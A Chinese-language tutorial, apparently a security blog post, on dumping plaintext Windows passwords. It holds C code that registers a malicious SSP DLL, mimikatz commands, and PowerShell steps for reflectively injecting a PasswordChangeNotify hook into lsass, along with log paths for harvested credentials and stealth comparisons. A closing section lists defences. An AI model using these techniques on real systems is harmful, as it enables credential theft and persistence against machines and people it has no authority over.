关于抓取明文密码的探究
字数 2174 2025-08-29 08:30:36
Windows明文密码抓取技术探究与实战指南
前言
自Windows Server 2012起,微软更改了安全策略,默认情况下无法直接抓取明文密码。本文将深入探讨两种绕过此限制的技术:SSP(安全支持提供程序)注入和PasswordChangeNotify钩子技术。
基础知识
SSP与SSPI
SSP (Security Support Provider):
- Windows操作系统安全机制的提供者
- 实质上是DLL文件
- 主要用于Windows身份认证功能,包括:
- NTLM
- Kerberos
- Negotiate
- Secure Channel (Schannel)
- Digest
- Credential (CredSSP)
SSPI (Security Support Provider Interface):
- Windows执行认证操作时使用的API接口
- 本质上是SSP的API接口
LSA (Local Security Authority)
- 包含lsass.exe和winlogon.exe进程
- 负责运行Windows系统安全策略
- SSP在Windows启动后会被加载到lsass.exe进程中
SSP注入技术
技术原理
SSP注入基于两种思路:
- 删除任意SSP DLL以便与lsass进程交互
- 伪造SSP DLL来提取用户登录时的明文密码
实现方法
方法一:注册表修改
-
目标注册表项:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages -
实现代码(关键API):
RegOpenKeyWRegSetValueExW
-
示例代码:
DWORD InjectSSP(LPWSTR filepath) {
HKEY hKey;
LPCWSTR KeyName;
LPCWSTR ValueName;
DWORD dwDisposition;
KeyName = L"SYSTEM\\CurrentControlSet\\Control\\Lsa";
if(ERROR_SUCCESS != ::RegOpenKeyW(HKEY_LOCAL_MACHINE, KeyName, &hKey)) {
printf("[!] The key is not found,the registry entry creation operation is performed\n\n");
if(ERROR_SUCCESS != ::RegCreateKeyW(HKEY_LOCAL_MACHINE, KeyName, &hKey)) {
printf("[!] Create regedit failed, error is:%d\n\n", GetLastError());
return FALSE;
} else {
printf("[*] Create regedit successfully!\n\n");
}
} else {
printf("[*] Find the key successfully!\n\n");
if(ERROR_SUCCESS != ::RegSetValueExW(hKey, L"Security Packages", 0, REG_MULTI_SZ, (BYTE*)filepath, (::lstrlenW(filepath)+::lstrlenW(filepath)))) {
printf("[!] Create key-value failed, error is:%d\n\n", GetLastError());
return FALSE;
} else {
printf("[*] Create key-value successfully!\n\n");
}
}
}
实战步骤
- 将mimilib.dll放置到
C:\Windows\System32目录下 - 修改注册表值为
mimilib.dll - 用户重新登录后,会在
C:\Windows\System32\kiwissp.log中记录凭据
注意:
- 需要管理员权限
- 重启后仍然有效
- 清除时需要删除注册表项和DLL文件
方法二:mimikatz内存注入
使用命令:
mimikatz # misc::memssp
特点:
- 不需要修改注册表或放置DLL
- 重启后失效
- 记录文件路径:
C:\Windows\System32\mimilsa.log
Hook PasswordChangeNotify技术
技术原理
密码修改流程:
- 用户输入新密码
- LSA调用
PasswordFilter检查密码复杂性 - 如果符合要求,LSA调用
PasswordChangeNotify同步密码 - 此过程中密码以明文形式传输
关键点:
PasswordChangeNotify函数存在于rassfm.dll- rassfm.dll是Remote Access Subauthentication DLL
- 仅存在于Server系统(XP、Win7、Win8等不存在)
实现方法
通过Inline Hook方式:
- 使用jmp指令跳转到自定义处理函数
- 读取密码参数
- 还原到原地址继续传参
关键代码分析
- 创建vector容器,修改硬编码指向
PasswordChangeNotifyHook函数 - 保留寄存器值(rbx、rbp、rsi)
- 写入字节码并还原被覆盖指令
- 跳转回原函数
- 密码记录到
C:\windows\temp\passwords.txt
注入方法
由于普通注入方式无法注入系统进程,需使用Session 0注入:
- 使用
ZwCreateThread内核函数 - 将DLL注入lsass.exe进程
反射加载方法(推荐)
使用PowerShell反射加载:
- 更改执行策略:
Set-ExecutionPolicy bypass - 导入并执行脚本:
Import-Module .\Invoke-ReflectivePEInjection.ps1 Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
效果:
- 修改密码后可在
C:\windows\temp\passwords.txt中获取明文密码
技术对比
| 方法 | 持久性 | 隐蔽性 | 复杂度 | 适用系统 |
|---|---|---|---|---|
| SSP注册表修改 | 高(重启有效) | 中(需修改注册表) | 中 | 所有支持SSP的Windows |
| mimikatz内存注入 | 低(重启失效) | 高 | 低 | 所有支持SSP的Windows |
| PasswordChangeNotify Hook | 中(需维持注入) | 高 | 高 | 仅Server系统 |
防御措施
-
监控注册表修改:
- 特别关注
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages
- 特别关注
-
检测异常DLL:
- 检查System32目录下可疑DLL
- 监控lsass.exe加载的DLL
-
限制权限:
- 严格控制本地管理员权限
- 实施最小权限原则
-
日志监控:
- 监控密码修改事件
- 检查异常进程注入行为
-
使用LSA保护:
- 启用Credential Guard(Windows 10+和Server 2016+)
总结
本文详细分析了两种Windows明文密码抓取技术:SSP注入和PasswordChangeNotify钩子。SSP注入技术通过修改注册表或内存注入实现,而PasswordChangeNotify钩子则利用密码修改过程中的明文传输特性。防御方应重点关注相关注册表项、系统目录和进程注入行为,以有效防范此类攻击。